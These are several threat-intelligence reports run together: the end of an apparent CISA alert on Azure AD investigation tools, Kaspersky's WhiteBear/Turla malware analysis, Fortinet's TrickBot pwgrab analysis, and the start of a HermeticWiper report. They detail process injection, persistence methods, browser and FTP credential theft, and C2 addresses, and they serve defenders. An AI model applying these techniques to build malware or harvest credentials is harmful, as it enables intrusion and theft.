Graph API application permissions of all service principals and applications in M365/Azure AD. 8. Review Sparrow’s listed tenant’s Azure AD domains to see if the domains have been modified. 9. For customers with G5 or E5 licensing levels, review MailItemsAccessed for insight into what application identification (ID) was used for accessing users’ mailboxes. ### Hawk Hawk is an open-source, PowerShell-driven tool that network defenders can use to gather data from O365 and Azure for security investigations. ### CrowdStrike Azure Reporting Tool CrowdStrike's Azure Reporting Tool (CRT) can help network defenders analyze their Microsoft Azure AD and M365 environment to help organizations analyze permissions in their Azure AD tenant and service configuration. ### Detection Tool Distinctions Microsoft breaks the threat actor’s recent activity into four primary stages, which are described below along with associated detection methods. **Stage 1:** Forging a trusted authentication token used to access resources that trust the on-premises identity provider. **Stage 2:** Using the forged authentication token to create configuration changes in the Service Provider, such as Azure AD. **Stage 3:** Acquiring an OAuth access token for the application using the forged credentials added to an existing application or service principal. **Stage 4:** Once access has been established, the threat actor uses Microsoft Graph API to conduct action on objectives from an external RESTful API. ### Microsoft Telemetry Nuances The existing tools and techniques used to evaluate cloud-based telemetry sources present challenges not represented in traditional forensic techniques. Service principal logging is available using the Azure Portal via the "Service Principal Sign-ins" feature. ### Contact Information CISA encourages recipients of this report to contribute any additional information related to this threat. For any questions related to this report, please contact CISA at: - 1-888-282-0870 (From outside the United States: +1-703-235-8832) - [email protected] (UNCLASS) - [email protected] (SIPRNET) - [email protected] (JWICS) CISA encourages you to report any suspicious activity, including cybersecurity incidents, possible malicious code, software vulnerabilities, and phishing-related scams.
# Introducing WhiteBear By GReAT As a part of our Kaspersky APT Intelligence Reporting subscription, customers received an update in mid-February 2017 on some interesting APT activity that we called WhiteBear. Much of the contents of that report are reproduced here. WhiteBear is a parallel project or second stage of the Skipper Turla cluster of activity documented in another private intelligence report “Skipper Turla – the White Atlas framework” from mid-2016. Like previous Turla activity, WhiteBear leverages compromised websites and hijacked satellite connections for command and control (C2) infrastructure. In fact, WhiteBear infrastructure has overlap with other Turla campaigns, like those deploying Kopiluwak, as documented in “KopiLuwak – A New JavaScript Payload from Turla” in December 2016. WhiteBear infected systems maintained a dropper (which was typically signed) as well as a complex malicious platform which was always preceded by WhiteAtlas module deployment attempts. However, despite the similarities to previous Turla campaigns, we believe that WhiteBear is a distinct project with a separate focus. We note that this observation of delineated target focus, tooling, and project context is an interesting one that also can be repeated across broadly labeled Turla and Sofacy activity. From February to September 2016, WhiteBear activity was narrowly focused on embassies and consular operations around the world. All of these early WhiteBear targets were related to embassies and diplomatic/foreign affair organizations. Continued WhiteBear activity later shifted to include defense-related organizations into June 2017. When compared to WhiteAtlas infections, WhiteBear deployments are relatively rare and represent a departure from the broader Skipper Turla target set. Additionally, a comparison of the WhiteAtlas framework to WhiteBear components indicates that the malware is the product of separate development efforts. WhiteBear infections appear to be preceded by a condensed spearphishing dropper, lack Firefox extension installer payloads, and contain several new components signed with a new code signing digital certificate, unlike WhiteAtlas incidents and modules. The exact delivery vector for WhiteBear components is unknown to us, although we have very strong suspicion the group spearphished targets with malicious PDF files. The decoy PDF document above was likely stolen from a target or partner. And, although WhiteBear components have been consistently identified on a subset of systems previously targeted with the WhiteAtlas framework, and maintain components within the same file paths and can maintain identical filenames, we were unable to firmly tie delivery to any specific WhiteAtlas component. WhiteBear focused on various embassies and diplomatic entities around the world in early 2016 – tellingly, attempts were made to drop and display decoy PDFs with full diplomatic headers and content alongside executable droppers on target systems. ## Technical Details The WhiteBear platform implements an elaborate set of messaging and injection components to support full presence on victim hosts. ### WhiteBear Binary Loader - **Sample MD5:** b099b82acb860d9a9a571515024b35f0 - **Type:** PE EXE - **Compilation Timestamp:** 2002.02.05 17:36:10 (GMT) - **Linker Version:** 10.0 (MSVC 2010) - **Signature:** “Solid Loop Ldt” UTCTime 15/10/2015 00:00:00 GMT – UTCTime 14/10/2016 23:59:59 GMT The WhiteBear binary loader maintains several features including two injection methods for its “KernelInjector” subsystem: - Standart - WindowInject (includes an unusual technique for remotely placing code into memory for subsequent thread execution) The loader also maintains two methods for privilege and DEP process protection handling: - GETSID_METHOD_1 - GETSID_METHOD_2 The binary contains two resources: - **BINARY 201** - File size: 128 bytes - Contains the string, “explorer.exe” - **BINARY 202** - File size: 403456 bytes - File Type: PE file (this is the actual payload and is not encrypted) - This PE file resource stores the “main orchestrator” .dll file ### Loader Runtime Flow The loader creates the mutex “{531511FA-190D-5D85-8A4A-279F2F592CC7}”, and waits up to two minutes if it is already present while logging the message “IsLoaderAlreadyWork +”. It extracts the resource BINARY 201, which contains a wide string name of processes to inject into (i.e. “explorer.exe”). The loader makes a pipe named: `\\.\pipe\Winsock2\CatalogChangeListener-%03x%01x-%01x` where the “%x” parameter is replaced with the values 0xFFFFFFFF 0xEEEEEEEE 0xDDDDDDDD, or if it has successfully obtained the user’s SID: `\\.\pipe\Winsock2\CatalogChangeListener-%02x%02x-%01x` with “%x” parameters replaced with numbers calculated from the current date and a munged user SID. The pipe is used to communicate with the target process and the transport module; the running code also reads its own image body and writes it to the pipe. The loader then obtains the payload body from resource BINARY 202. It finds the running process that matches the target name, copies the buffer containing the payload into the process, then starts its copy in the target process. There are some interesting, juvenile, and non-native English-speaker debug messages compiled into the code: - i cunt waiting anymore #%d - lights aint turnt off with #%d - Not find process - CMessageProcessingSystem::Receive_NO_CONNECT_TO_GAYZER - CMessageProcessingSystem::Receive_TAKE_LAST_CONNECTION - CMessageProcessingSystem::Send_TAKE_FIN ### WhiteBear Main Module/Orchestrator - **Sample MD5:** 06bd89448a10aa5c2f4ca46b4709a879 - **Type, Size:** PE DLL, 394 kb - **Compilation Timestamp:** 2002.02.05 17:31:28 (GMT) - **Linker Version:** 10.0 (MSVC 2010) The main module has no exports, only a DllMain entry which spawns one thread and returns. The main module maintains multiple BINARY resources that include executable, configurations, and encryption data: - 101 – RSA private key - 102 – RSA public key - 103 – empty - 104 – 16 encrypted bytes - 105 – location (“%HOMEPATH%\ntuser.dat.LOG3”) - 106 – process names (e.g. “iexplore.exe, firefox.exe, chrome.exe, outlook.exe, safari.exe, opera.exe”) to inject into - 107 – Transport module for interaction with C&C - 108 – C2 configuration - 109 – Registry location (“\HKCU\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Explorer\Screen Saver”) - 110 – no information - 111 – 8 zero bytes Values 104 – 111 are encrypted with the RSA private key (resource 101) and compressed with bzip2. The RSA key is stored with header stripped in a format similar to Microsoft’s PVK; the RSA PRIVATE KEY header is appended by the loader before reading the keys into the encryption code. Resource 109 points to a registry location called “external storage”, built-in resources are called “PE Storage”. In addition to storing code, crypto resources, and configuration data in PE resources, WhiteBear copies much of this data to the victim host’s registry. Registry storage is located in the following keys: - **[HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\ScreenSaver]** - **[HKCU\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Explorer\ScreenSaver]** Registry subkeys: - {629336E3-58D6-633B-5182-576588CF702A} Contains the RSA private key used to encrypt/decrypt other resources / resource 101 - {3CDC155D-398A-646E-1021-23047D9B4366} Resource 105 – current file location - {81A03BF8-60AA-4A56-253C-449121D61CAF} Resource 106 – process names - {31AC34A1-2DE2-36AC-1F6E-86F43772841F} Contains the internet C&C transport module / resource 107 - {8E9810C5-3014-4678-27EE-3B7A7AC346AF} Resource 108 – C&C config - {28E74BDA-4327-31B0-17B9-56A66A818C1D} Resource 110 “plugins” - {4A3130BD-2608-730F-31A7-86D16CE66100} Resource 111 - {119D263D-68FC-1942-3CA3-46B23FA652A0} Unique Guid (“ObjectID”) - {1DC12691-2B24-2265-435D-735D3B118A70} “Task Queue” - {6CEE6FE1-10A2-4C33-7E7F-855A51733C77} “Result Queue” - {56594FEA-5774-746D-4496-6361266C40D0} unknown - {831511FA-190D-5D85-8A4A-279F2F592CC7} unknown Finally, if the main WhiteBear module fails to use registry storage, it uses “FS Storage” in file `%TEMP%\KB943729.log`. The module reads all of its data and binary components from one of the storages and then verifies the integrity of data (RSA+bzip2 compression+signature). The module maintains functionality which is divided into a set of subsystems that are loosely named by the developers: - result queue - task queue - message processing system - autorun manager - execution subsystem - inject manager - PEStorage - local transport manager/internal transport channel It creates the following temporary files: - `%TEMP%\CVRG72B5.tmp.cvr` - `%TEMP%\CVRG1A6B.tmp.cvr` - `%TEMP%\CVRG38D9.tmp.cvr` - `%TEMP%\~DF1E05.tmp` contains the updated body of the loader during an update. Every day (as specified by local time) the main module restarts the transport subsystem which includes: - message processing - named pipe transport (“NPTransport”) If the registry/file storage is empty, the module performs a ‘migration’ of hardcoded modules and settings to the storage location. This data is encrypted with a new RSA key (which is also stored in the registry). The data in the registry is prepended with a 0xC byte header. The maximum size of each registry item is 921,600 bytes; if the maximum size is exceeded, it is split into several items. The format of the header is shown below: - [4:service DWORD][4:chunk index][4:chunk size including header] Every time the orchestrator module is loaded it validates that the storage area contains the appropriate data and that all of the components can be decrypted and validated. If these checks fail the module reinstalls a configuration from the resource “REINSTALL”. ### Pipe Transport The module generates the pipe name (with the same prefix as the loader); waits for incoming connections; receives data and pushes it to the ‘message processing system’. Every packet is expected to be at least 6 bytes and contain the following header: [4:ID][2:command]. #### List of Commands: 1. new task 2. update the loader + orchestrator file 3. send task result 4. send settings 5. write results to registry/file storage 6. enable / disable c2 transport / update status 7. uninstall 8. nop 9. “CMessageProcessingSystem::Receive_NO_CONNECT_TO_GAYZER”; write results to registry 10. write the last connection data ‘{56594FEA-5774-746D-4496-6361266C40D0}’ aka “last connection” storage value 11. “give cache” – write cached commands from the C&C 12. “take cache” – append C&C commands to the cache Depending on the command, the module returns the results from previously run tasks, the configuration of the module, or a confirmation message. An example of these tasks is shown below: - write a file and execute it with CreateProcess() capturing all of the standard output - update C&C configuration, plugin storage, etc - update autoruns - write arbitrary files to the filesystem (“File Upload”) - read arbitrary files from the filesystem (“File Download”) - update itself - uninstall - push task results to C2 servers The “LocalTransport manager” handles named pipe communication and identifies if the packet received is designated to the current instance or to someone else (down the route). In the latter scenario, the LocalTransport manager re-encrypts the packet, serializes it (again), and pushes the packet via a named pipe on the local network to another hop, (NullSessionPipes). This effectively makes each infected node a packet router. The Autorun manager subsystem is responsible for tracking the way that the malicious module starts in the system and it maintains several different methods for starting automatically: - **LinkAutorun:** The subsystem searches for a LNK file in the target directory, changes the path to “cmd.exe” and the description to ‘ /q /c start “” “%s” && start “” “%s” ‘ - **TaskScheduler20Autorun:** The subsystem creates the ITaskService (works only on Windows Vista+) and uses the ITaskService interface to create a new task with a logon trigger - **StartupAutorun:** The subsystem creates a LNK file in %STARTUP% - **ScreenSaverAutorun:** The subsystem installs as a current screensaver with a hidden window - **HiddenTaskAutorun:** The subsystem creates the task ITaskScheduler (works only on pre-Vista NT). The task trigger start date is set to the creation date of the Windows directory - **ShellAutorun:** Winlogon registry [HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon] Shell=”explorer.exe, …” File uninstallation is done in a discreet manner. The file is filled with zeroes, then renamed to a temporary filename before being deleted. ### WhiteBear Transport Library (aka “Internet Relations”, “Pipe Relations”) - **Sample MD5:** 19ce5c912768958aa3ee7bc19b2b032c - **Type:** PE DLL - **Linker Timestamp:** 2002.02.05 17:58:22 (GMT) - **Linker Version:** 10.0 - **Signature:** “Solid Loop Ldt” UTCTime 15/10/2015 00:00:00 GMT – UTCTime 14/10/2016 23:59:59 GMT This transport library does not appear on disk in its PE format. It is maintained as encrypted resource 107 in the orchestrator module, then decrypted and loaded by the orchestrator directly into the memory of the target process. This C2 interaction module is independent; once started, it interacts with the orchestrator using its local named pipe. To communicate with its C2 server, the transport library uses the system user agent or default “Mozilla/4.0 (compatible; MSIE 6.0)”. Before attempting a connection with its configured C2 server, the module checks if the victim system is connected to the Internet by sending HTTP 1.1 GET / requests to the following servers (this process stops after the first successful connection): - update.microsoft.com - microsoft.com - windowsupdate.microsoft.com - yahoo.com - google.com If there is no Internet connection available, the module changes state to “CANNOT_WORK” and notifies the peer by sending command “7” over the local pipe. The C2 configuration is obtained from the main module with the command “5”. This checks whether the module complies with the schedule specified in the C2 settings (which includes inactivity time and the interval between connections). The C2 interaction stages have interesting function names and an odd misspelling, indicating that the developer may not be a native English speaker (or may have learned the English language in a British setting): - “InternetRelations::GetInetConnectToGazer” - “InternetRelations::ReceiveMessageFromCentre” - “InternetRelations::SendMessageToCentre” - “PipeRelations::CommunicationTpansportPipe” The module writes the encrypted log to `%TEMP%\CVRG38D9.tmp.cvr`. The module sends a HTTP 1.0 GET request through a randomly generated path to the C2 server. The server’s reply is expected to have its MD5 checksum appended to the packet. If C2 interaction fails, the module sends the command “10” (“NO_CONNECT_TO_GAYZER”) to the orchestrator. ### Unusual WhiteBear Encryption The encryption implemented in the WhiteBear orchestrator is particularly interesting. We note that the resource section is encrypted/decrypted and packed/decompressed with RSA+3DES+BZIP2. This implementation is unique and includes the format of the private key as stored in the resource section. 3DES is present in Sofacy and Duqu2 components; however, they are missing in this Microsoft-centric RSA encryption technique. The private key format used in this schema and RSA crypto combination with 3DES is (currently) unique to this threat actor. The private key itself is stored as a raw binary blob, in a format similar to the one Microsoft code uses in PVK format. This format is not officially documented, but its structures and handling are coded into OpenSSL. This private key value is stored in the orchestrator resources without valid headers. The orchestrator code prepends valid headers and passes the results to OpenSSL functions that parse the blob. ### Digital Code-Signing Certificate – Fictional Corporation or Assumed Identity? Most WhiteBear samples are signed with a valid code signing certificate issued for “Solid Loop Ltd”, a once-registered British organization. Solid Loop is likely a phony front organization or a defunct organization and actors assumed its identity to abuse the name and trust, in order to attain deceptive code-signing digital certificates. ## WhiteBear Command and Control The WhiteBear C2 servers are consistent with long-standing Turla infrastructure management practices, so the backdoors callback to a mix of compromised servers and hijacked destination satellite IP hosts. For example, direct, hardcoded Turla satellite IP C2 addresses are shown below: | C2 IP Address | Geolocation | IP Space Owner | |-----------------------|----------------------|-----------------------------------------| | 169.255.137[.]203 | South Sudan | IPTEC, VSAT | | 217.171.86[.]137 | Congo | Global Broadband Solution, Kinshasa VSAT | | 66.178.107[.]140 | Unknown – Likely Africa | SES/New Skies Satellites | ## Targeting and Victims WhiteBear targets over the course of a couple of years are related to government foreign affairs, international organizations, and later, defense organizations. The geolocation of the incidents are below: - Europe - South Asia - Central Asia - East Asia - South America ## Conclusions WhiteBear activity reliant on this toolset seems to have diminished in June 2017. But Turla efforts continue to be run as multiple subgroups and campaigns. This one started targeting diplomatic entities and later included defense-related organizations. Infrastructure overlap with other Turla campaigns, code artifacts, and targeting are consistent with past Turla efforts. With this subset of 2016-2017 WhiteBear activity, Turla continues to be one of the most prolific, longstanding, and advanced APT we have researched, and continues to be the subject of much of our research. ## Reference Set - Full IOC and powerful YARA rules delivered with private report subscription ### MD5 - b099b82acb860d9a9a571515024b35f0 - 19ce5c912768958aa3ee7bc19b2b032c - 06bd89448a10aa5c2f4ca46b4709a879 ### IP - 169.255.137[.]203 - 217.171.86[.]137 - 66.178.107[.]140 ### Domain(s) - soligro[.]com – interesting because the domain is used in another Turla operation (KopiLuwak), and is the C2 server for the WhiteBear transport library - mydreamhoroscope[.]com ### Example Log Upon Successful Injection ``` |01:58:10:216|.[0208|WinMain ].. |01:58:14:982|.[0209|WinMain ].****************************************************************************************** |01:58:15:826|.[0212|WinMain ].DATE: 01.01.2017 |01:58:21:716|.[0215|WinMain ].PID=2344.TID=1433.Heaps=3 |01:58:22:701|.[0238|WinMain ].CreateMutex = {521555FA-170C-4AA7-8B2D-159C2F491AA4} |01:58:25:513|.[0286|GetCurrentUserSID ]._GETSID_METHOD_1_ |01:58:26:388|.[0425|GetUserSidByName ].22 15 1284404594 111 |01:58:27:404|.[0463|GetUserSidByName ].S-1-5-31-4261848827-3118844265-2233733001-1000 |01:58:28:263|.[0471|GetUserSidByName ]. |01:58:29:060|.[0165|GeneratePipeName ].\\.\pipe\Winsock2\CatalogChangeListener-5623-b |01:58:29:763|.[0275|WinMain ].PipeName = \\.\pipe\Winsock2\CatalogChangeListener-5623-b |01:58:30:701|.[0277|WinMain ].Checking for existence… |01:58:31:419|.[0308|WinMain ].— Pipe is not installed yet |01:58:32:044|.[0286|GetCurrentUserSID ]._GETSID_METHOD_1_ |01:58:32:841|.[0425|GetUserSidByName ].22 15 1284404594 111 |01:58:33:701|.[0463|GetUserSidByName ].S-1-5-31-4261848827-3118844265-2233733001-1000 |01:58:34:419|.[0471|GetUserSidByName ]. |01:58:35:201|.[0318|WinMain ].Loading… |01:58:35:763|.[0026|KernelInjector::KernelInjector ].Address of marker: 0x0025F96C and cProcName: 0x0025F860 |01:58:36:513|.[0031|KernelInjector::KernelInjector ].Value of marker = 0xFFFFFEF4 |01:58:37:279|.[0088|KernelInjector::SetMethod ].m_bAntiDEPMethod = 1 |01:58:38:419|.[0564|QueryProcessesInformation ].OK |01:58:41:169|.[0286|GetCurrentUserSID ]._GETSID_METHOD_1_ |01:58:42:076|.[0425|GetUserSidByName ].22 15 1284404594 111 |01:58:42:748|.[0463|GetUserSidByName ].S-1-5-31-4261848827-3118844265-2233733001-1000 |01:58:43:169|.[0471|GetUserSidByName ]. |01:58:43:701|.[0309|FindProcesses ].dwPID[0] = 1260 |01:58:44:560|.[0345|WinMain ].try to load dll to process (pid=1260)) |01:58:45:013|.[0088|KernelInjector::SetMethod ].m_bAntiDEPMethod = 1 |01:58:45:873|.[0094|KernelInjector::LoadDllToProcess ].MethodToUse = 1 |01:58:46:544|.[0171|KernelInjector::GetProcHandle ].pid = 1260 |01:58:47:279|.[0314|KernelInjector::CopyDllFromBuffer ].Trying to allocate space at address 0x20020000 |01:58:48:404|.[0332|KernelInjector::CopyDllFromBuffer ].IMAGEBASE = 0x20020000.ENTRYPOINT = 0x2002168B |01:58:48:763|.[0342|KernelInjector::CopyDllFromBuffer ].ANTIDEP INJECT |01:58:49:419|.[0345|KernelInjector::CopyDllFromBuffer ].Writing memory to target process…. |01:58:49:935|.[0353|KernelInjector::CopyDllFromBuffer ].Calling to entry point…. |01:58:51:185|.[0598|KernelInjector::CallEntryPoint ].CODE = 0x01FA0000, ENTRY = 0x2002168B, CURR = 0x77A465A5, TID = 1132 |01:58:55:544|.[0786|KernelInjector::CallEntryPoint ]._FINISH_ = 1 |01:58:56:654|.[0372|KernelInjector::CopyDllFromBuffer ].CTRLPROC = 0 |01:58:57:607|.[0375|KernelInjector::CopyDllFromBuffer ].+ INJECTED + |01:58:58:419|.[0351|WinMain ].+++ Load in 1260 ``` ### References – Past Turla Research - The Epic Turla Operation - Satellite Turla: APT Command and Control in the Sky - Agent.btz: a Source of Inspiration? - The ‘Penquin’ Turla - Penquin’s Moonlit Maze - KopiLuwak: A New JavaScript Payload from Turla - Uroburos: the snake rootkit - The Snake Campaign
# Deep Analysis of TrickBot New Module pwgrab The TrickBot malware family has been live for several years, mainly focused on stealing victims' online banking information. In new samples recently collected by FortiGuard Labs, we found a new TrickBot variant, with a new module pwgrab, which attempts to steal credentials, autofill data, history, and so on from browsers as well as several software applications. I did a deep analysis on this pwgrab module, and in this blog, I will explain how it works on a victim’s system. ## TrickBot Downloaded by Opening an Excel File The new TrickBot variant is spread by an Excel file (originally named “Sep_report.xls”) using a malicious Macro VBS code that is executed when the victim opens the file in Microsoft Excel. We captured this sample on October 19th, 2018. Figure 1 shows that “Sep_report.xls” is opened in Microsoft Excel where it requests that the victim enable the embedded Macro by clicking on the “Enable Content” button. The VBA code is password protected for viewing. To analyze the code, I manually modified the protected flag to bypass the password protection. The VBA code starts with the function “Workbook_Open”, which is called automatically when the Excel file is opened. It then reads data from Text control, which is encoded Powershell code. In Figure 2, you can see part of the decoded Powershell code. Finally, the Powershell code is executed to download the file from “hxxp://excel-office.com/secure.excel” and save it to a local temporary folder with the name “pointer.exe” whereupon it runs it. As you may have guessed, the “pointer.exe” file is actually TrickBot. ## Task Scheduler Starts TrickBot to Load pwgrab32 When “pointer.exe” runs for the very first time, it creates the “%AppData%\VsCard” folder as its home folder, then copies “pointer.exe” into it and renames it as “pointes.exe”. In this version, it also changes its module folder: the new one is “%AppData%\VsCard\Data” instead of the previous “%AppData%\[random folder name]\Modules”. Figure 3 is a screenshot of the new folder. As with its previous version, it installs itself into the system “Task Scheduler” so it can run automatically by “Task Scheduler”. After “pointes.exe” runs for a little while, it sends the command “5” request to its C&C server with the string “pwgrab32” for a 32-bit platform (or “pwgrab64” for a 64-bit platform) asking to download the new module of “pwgrab32”, just as it does for downloading other module files such as “systeminfo32” and “injectdll32”. To learn more about the packet format of command “5” and the command’s purpose, you can refer to my previous blog. All files downloaded through command “5” in older versions are AES encrypted. Recent versions have added one more XOR encryption on AES encrypted data. So to get to the original pwgrab32 module, we had to go through two-layer decryption. The pwgrab32 module was generated on October 16th, 2018, and was developed with Borland Delphi 3.0. Figure 4 shows the pwgrab32 module analyzed in a PE tool. During my analysis of “pointes.exe”, I can see that it uses some anti-analysis techniques to make it harder to be analyzed. For example, it encrypts all string information to protect itself from being analyzed statically and dynamically loads APIs during running time. From the file name of “pwgrab32”, we can guess it will grab password information from the victim’s system. Let’s go on to see how it will do this. After downloading and decrypting “pwgrab32”, “pointes.exe” continues to load “pwgrab32”. Just like when loading other modules, it calls the API “CreateProcessAsUserW” to create a suspended “svchost.exe” process. It then injects a piece of code from the “pointes.exe” memory to this svchost.exe process memory by calling the API “WriteProcessMemory”. By calling the API “ZwQueryInformationProcess”, “pointes.exe” can get “svchost.exe”’s ProcessBasicInformation from which it can locate the OEP (Original Entry Point) of “svchost.exe” in its PE structure. Furthermore, it can modify the code at OEP to execute the copied piece of code. It then calls “ResumeThread” to resume running “svchost.exe”. Figure 5 is a code snippet of finding “svchost.exe”’s OEP. Next, API “WriteProcessMemory”, “SignalObjectAndWait”, and “WaitForSingleObject” are called a number of times by both “pointes.exe” and “svchost.exe” to maintain synchronicity to finish copying the decrypted pwgrab32 and related information, such as copying the C&C server IP list from “pointes.exe” onto “svchost.exe”. Finally, “pwgrab32!10006634” (the OEP of pwgrab32) is called by the copied piece of code mentioned above. From this point on, the pwgrab32 takes over the work to collect any password-related data. ## pwgrab32 Collects Credentials from Browsers of Victim’s System At first, “pwgrab32” decodes the “core-parser.dll” module, loads it into memory, and makes it ready for use. It has several export functions, as shown in Figure 6. Function “EnumDpostServer” returns the C&C server IP address, which will be called by “pwgrab32” when it wants to send data to the C&C server. It launches three threads to grab credentials from three different browsers. They all share the same thread function but different parameters. From my analysis, parameter 1 is for Internet Explorer, 2 is for Firefox, 3 is for Chrome, and 4 is for Edge. However, in this version, Edge is disabled. There is also a very huge function, “pwgrab32!sub_100137F8”, which executes the operation of collecting saved credentials from all browsers. There are different code branches for different browsers. I will show you how it works. One interesting thing I found in the “pwgrab32” code is that it encrypts plain text byte by byte, decrypts it back to plain text, and uses that decrypted plain text. Is this a joke by the Trickbot author? No, it should be an anti-analysis technique to hide plain text. However, I think the author simply forgot to remove the decryption function and replace the plain text with the encrypted one before compiling this module. This error appears many times throughout the pwgrab32 module. Figure 7 shows a code snippet of that. ### Thread Parameter 1 for Internet Explorer According to the Windows system version, there are two different code branches for IE. If a victim’s system version is Windows 2000, Windows XP, Windows Vista, Windows Server 2008, Windows 7, Windows 10, or Windows Server 2016, it reads and enumerates values from the system registry sub-key “HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\IntelliForms\Storage2”, which contains the SHA1 hash code list of saved website hosts and saved credentials for this website. Figure 8 is a screenshot of the “Storage2” sub-key on my Windows 7 system. Calling the APIs “FindFirstUrlCacheEntryW” and “FindNextUrlCacheEntryW”, this malware can enumerate all cached websites. Furthermore, it can calculate SHA1 hash code for each website host (for example “http://www.fortinet.com/”) through comparison with the hash code from the sub-key “Storage2”, whereupon it can obtain the website’s host. It then parses the third column data to get the credential for the website. Finally, it saves the collected credentials in this format: “Website host|Login ID|Login password”. When the victim’s system is another version, it calls some additional APIs to get credentials. Here is a pseudo code of this process for getting credentials. ### Thread Parameter 2 for Mozilla Firefox This code thread reads the Firefox installation path from the system registry, and then calls the API “SetCurrentDirectoryA” with the installation path to set the current directory to the Firefox installation path so it can easily read the credential files of Firefox and load a dll which is used to handle Firefox credentials. “pwgrab32” continues to load nss3.dll of Firefox and read some Firefox files from its AppData folder, such as "%AppData%\Mozilla\Firefox\Profiles\e375zm7t.default\logins.json". It then calls the APIs of nss3.dll, like “PK11_GetInternalKeySlot”, “PK11_Authenticate”, and “PK11SDR_Decrypt” to parse saved credentials in the file, “logins.json”. Below is a piece of data from “logins.json”. Finally, it saves the credentials in a format like IE’s. ### Thread Parameter 3 for Google Chrome Before the thread function is created, pwgrab32 makes two file backups of the files “Login Data” and “Web Data”. Both of them are located in the "%LocalAppData%\Google\Chrome\User Data\Default\” folder. Chrome stores the login credentials of the victim in the file “Login Data”, and saved autofill and credit card information is stored in the file “Web Data”. It makes a backup of the two files so it can read data from backup files instead of the original files to avoid a reading conflict when the victim is using Chrome. The two backup files are “Login Data.bak” and “Web Data.bak”. They are both SQLite database files. “pwgrab32” uses the open source project SQLite database engine to handle the two SQLite files. In Figure 9, you can see that the data of the SQLite database engine is linked in “pwgrab32”. Next, “pwgrab32” executes an SQL expression like "select origin_url, username_value, password_value, length(d_value) from logins where blacklisted_by_user = 0" to obtain the credentials from “Login Data.bak”. “pwgrab32” continues to execute three SQL expressions to grab autofill information, credit card information, email address, country, company, street address, full name, phone number, etc. from “Web Data.bak”. The grabbed credentials and form autofill information collected from the browsers are sent to the C&C server immediately when one is done. ## pwgrab32 Collects Credentials from Some Clients After all of the three threads above are finished, “pwgrab32” steals credentials from three client software sources: “Outlook”, “FileZilla”, and “WinSCP”. In Figure 10, you can see the functions being called to collect credentials from them. “Outlook”’s profile is stored in the system registry. According to different versions, its registry paths are "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook", "HKCU\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook" and "HKCU\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook". “pwgrab32” then goes through all the keys and reads and parses the values to grab the credentials. Figure 11 shows an Outlook credential grabbed by “pwgrab32” from my test system. The format is “Host|Account name|Password”. FileZilla is an FTP client software that stores its history as plain text in file "%APPDATA%\\filezilla\\recentservers.xml", and stores its login data as plain text in file "%APPDATA%\\filezilla\\sitemanager.xml". “pwgrab32” can easily obtain their history records and credentials by parsing these two XML files. WinSCP is another FTP client software. Its credentials are stored in the system registry under the registry path “HKCU\Software\Martin Prikryl\WinSCP 2\Sessions\”. “pwgrab32” can grab its credentials by enumerating all the sub-keys and reading out their values “HostName”, “PortNumber”, “UserName”, “Password”, and “FSProtocol”. ## Report Credentials Trickbot has many C&C commands. I have talked about these commands in detail in my previous blog. In module “pwgrab32”, however, I observed that it has new command numbers: 81 and 83. - Command 81 is for reporting grabbed credentials of Browsers, FTP clients, and Outlook. - Command 83 is for reporting grabbed form autofill information from Google Chrome. It uses HTTP POST method to report the plain text credentials to the C&C server. The POST URI format is like this: - POST /[group tag]/[Client_ID]/[Command number]/ The body part is the grabbed credentials or form autofill information in plain text. “group tag” is “auto1”. “Client_ID” is generated with the computer name, Windows version, and random string. Below is an IP list of the C&C servers that are used to handle the credential data. The IP list was decrypted by “pointes.exe” from the file “dpost”, and was passed to “pwgrab32” by calling the API WriteProcessMemory. Calling the API EnumDpostServer(fun_index) of core-parser.dll, we can get one IP of them by using the fun_index. ``` <dpost> <handler>http://173.171.132.82:8082</handler> <handler>http://66.181.167.72:8082</handler> <handler>http://46.146.252.178:8082</handler> <handler>http://97.88.100.152:8082</handler> <handler>http://174.105.232.193:8082</handler> <handler>http://23.142.128.34:80</handler> <handler>http://177.0.69.68:80</handler> <handler>http://5.228.72.17:80</handler> <handler>http://174.105.232.193:80</handler> <handler>http://177.0.69.68:80</handler> <handler>http://23.226.138.220:443</handler> <handler>http://23.226.138.196:443</handler> <handler>http://23.226.138.221:443</handler> <handler>http://92.38.135.151:443</handler> <handler>http://198.23.252.204:443</handler> </dpost> ``` ## Solutions "hxxp://excel-office.com/secure.excel" is rated as Malicious Websites by the FortiGuard Webfilter service, and Sep_report.xls is detected as VBA/Agent.JHAZ!tr.dldr and pointer.exe as W32/GenKryptik.COMA!tr by the FortiGuard Antivirus service. ### How to remove this malware: 1. Open Task Scheduler and go to Task Scheduler (Local) -> Task Scheduler Library. 2. Select the item named “Msnetcs”, press the Delete key, and then click Yes. 3. Restart your system and delete the entire folder of %AppData%\VsCard. ## IoC **URL:** "hxxp://excel-office.com/secure.excel" **Sample SHA256:** [Sep_report.xls] 41288C8A4E58078DC2E905C07505E8C317D6CC60E2539BFA4DF5D557E874CDEC [secure.excel] or [pointer.exe] or [pointes.exe] D5CADEF60EDD2C4DE115FFD69328921D9438ACD76FB42F3FEC50BDAAB225620D
# HermeticWiper Technical Analysis Report March 10, 2022 As the tension that started between Russia and Ukraine on February 24 turned into a physical conflict, cyber-attacks and malware threats came to the fore. Researchers found that Russian threat actors developed malware that corrupts MBR (Master Boot Record) and disk volumes for Ukrainian organizations. First, security researchers from ESET and Symantec detected this type of malware. They then analyzed the sample, making sense of it with various IoC findings. As a result, security providers have named this example HermeticWiper. The malware was detected on thousands of different devices in Ukraine and tagged as KillDisk.NCV. It is named HermeticWiper because of the digital certificate the malware holds. The certificate, issued with Hermetica Digital Ltd, is valid from 2021. Researchers state they can obtain the certificate by using it on behalf of a front company or confiscating a closed company. However, security researchers have noticed that malware signed with this certificate is no longer seen.
